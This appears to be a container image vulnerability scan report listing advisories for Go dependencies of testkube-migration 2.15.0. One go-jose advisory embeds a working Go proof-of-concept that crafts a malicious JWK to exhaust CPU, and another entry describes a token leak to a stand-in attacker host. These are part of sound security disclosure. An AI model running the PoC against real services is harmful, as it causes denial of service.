testkube-migration-2.15.0_linux_amd64

digest	sha256:1bc7c15dd66cf96d5767fd289f4398875367526c84fa502889abe293da8e6398
vulnerabilities
platform	linux/amd64
size	56 MB
packages	278

github.com/go-jose/go-jose/v4 4.1.4 (golang) pkg:golang/github.com/go-jose/go-jose/v4@4.1.4 Inefficient Algorithmic Complexity Affected range <=4.1.5 Fixed version 4.1.6 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.366% EPSS Percentile 30th percentile Description Summary A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU. Details go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU. https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700 Proof of concept No special configuration of go-jose is required to reproduce this vulnerability. package main import ( "encoding/base64" "encoding/json" "fmt" "math/big" "time" "github.com/go-jose/go-jose/v4" ) func main() { // The RSA parameters can be complete junk. The CPU cost is in validating them. primeBits := 16384 p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1)) p.SetBit(p, 0, 1) n := new(big.Int).Lsh(big.NewInt(1), 2048) e := big.NewInt(65537) d := big.NewInt(3) q := big.NewInt(3) jwk := map[string]string{ "kty": "RSA", "n": base64.RawURLEncoding.EncodeToString(n.Bytes()), "e": base64.RawURLEncoding.EncodeToString(e.Bytes()), "d": base64.RawURLEncoding.EncodeToString(d.Bytes()), "p": base64.RawURLEncoding.EncodeToString(p.Bytes()), "q": base64.RawURLEncoding.EncodeToString(q.Bytes()), } protected := map[string]any{ "alg": "RS256", "jwk": jwk, } protJSON, _ := json.Marshal(protected) jws := map[string]string{ "protected": base64.RawURLEncoding.EncodeToString(protJSON), "payload": base64.RawURLEncoding.EncodeToString([]byte(`{}`)), "signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")), } jwsJSON, _ := json.Marshal(jws) start := time.Now() _, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256}) elapsed := time.Since(start) fmt.Printf("prime bits: %d\n", primeBits) fmt.Printf("parse time: %s\n", elapsed) fmt.Printf("parse error: %v\n", err) } Impact Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately. Credits Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier) Uncontrolled Recursion Affected range <4.1.5 Fixed version 4.1.5 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.292% EPSS Percentile 22nd percentile Description Summary Parsing deeply nested JSON structures can hit Go's stack limit, causing the application to crash. Note: this advisory is the same as https://github.com/go-jose/go-jose/security/advisories/GHSA-6mp9-8xrw-74r4. Impact Denial of service vulnerability. Any application that parses untrusted JSON via go-jose is exposed. Workarounds Reject large inputs before parsing them. Acknowledgements Thanks to Dohyun Kim (@azza999), Joshua Rogers of AISLE Research, and Sueun Cho for alerting us to the need to patch this. Improper Validation of Array Index Affected range <4.1.5 Fixed version 4.1.5 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.264% EPSS Percentile 18th percentile Description Summary Decrypting a ciphertext with "A128CBC-HS256", "A192CBC-HS384", or "A256CBC-HS512" can result in a panic on untrusted input. Note this advisory is the same as https://github.com/go-jose/go-jose/security/advisories/GHSA-6mp9-8xrw-74r4. Details Insufficient validation of parameters can lead to attempting to index into an empty buffer. See https://github.com/go-jose/go-jose/pull/292. Workarounds If the application does not require the CBC-HMAC modes for content encryption, and is using github.com/go-jose/go-jose/v4, do not include them in the list of ContentEncryption algorithms passed to ParseEncrypted / ParseEncryptedJSON / ParseEncryptedCompact. Impact Denial of service vulnerability. Any application which decrypts untrusted ciphertexts with the indicated algorithms is affected. Acknowledgements Thanks to Joshua Rogers of AISLE Research for reporting this problem.

github.com/docker/cli 29.7.2+incompatible (golang) pkg:golang/github.com/docker/cli@29.7.2%2Bincompatible Affected range >=19.03.0+incompatible Fixed version Not Fixed EPSS Score 0.501% EPSS Percentile 43rd percentile Description Docker CLI Plugins: Uncontrolled Search Path Element Leads to Local Privilege Escalation on Windows in github.com/docker/cli

golang.org/x/net 0.60.0 (golang) pkg:golang/golang.org/x/net@0.60.0 Affected range <0.62.0 Fixed version 0.62.0 EPSS Score 0.202% EPSS Percentile 10th percentile Description In childTextNodesAreLiteral, walking up the tree previously stopped at the nearest foreign ancestor once an HTML integration point was found. However, that integration point may itself be a descendant of an element that was foster-parented into a foreign namespace (such as or fostered under ), causing a parser to resolve the subtree in a different foreign namespace upon re-parsing the rendered output. Continue walking the full ancestor chain and verify that every transition from a non-empty namespace occurs at an HTML integration point before emitting literal text. Affected range <0.62.0 Fixed version 0.62.0 EPSS Score 0.185% EPSS Percentile 8th percentile Description When coalescing adjacent text nodes in addText and fosterParent, appending to an existing TextNode's Data via string concatenation (n.Data += text) reallocated and copied the accumulated string on every token. Inputs containing many short text runs separated by ignored end tags (such as "a") caused O(n^2) allocations and byte copies. Accumulate coalesced text in per-node byte slices during parsing and materialize Data strings once at the end of parse.

golang.org/x/crypto 0.57.0 (golang) pkg:golang/golang.org/x/crypto@0.57.0 Affected range >=0 Fixed version Not Fixed Description The golang.org/x/crypto/openpgp package is unsafe by design, has numerous known security issues, is not maintained, and should not be used. If you are required to interoperate with OpenPGP systems and need a maintained package, consider github.com/ProtonMail/go-crypto/openpgp which is a maintained fork that aims to be a drop-in replacement for this package.

github.com/chrismellard/docker-credential-acr-env 0.0.0-20230304212654-82a0ddb27589 (golang) pkg:golang/github.com/chrismellard/docker-credential-acr-env@0.0.0-20230304212654-82a0ddb27589 Affected range >=0 Fixed version Not Fixed Description In github.com/chrismellard/docker-credential-acr-env/pkg/credhelper, the regular expression used by isACRRegistry to validate Azure Container Registry hostnames is unanchored. As a result, arbitrary hostnames containing the substring ".azurecr.io" (such as evil.azurecr.io.attacker.com) are treated as valid ACR registries, causing ACRCredHelper.Get to send the Azure Active Directory (AAD) access token to attacker-controlled hosts.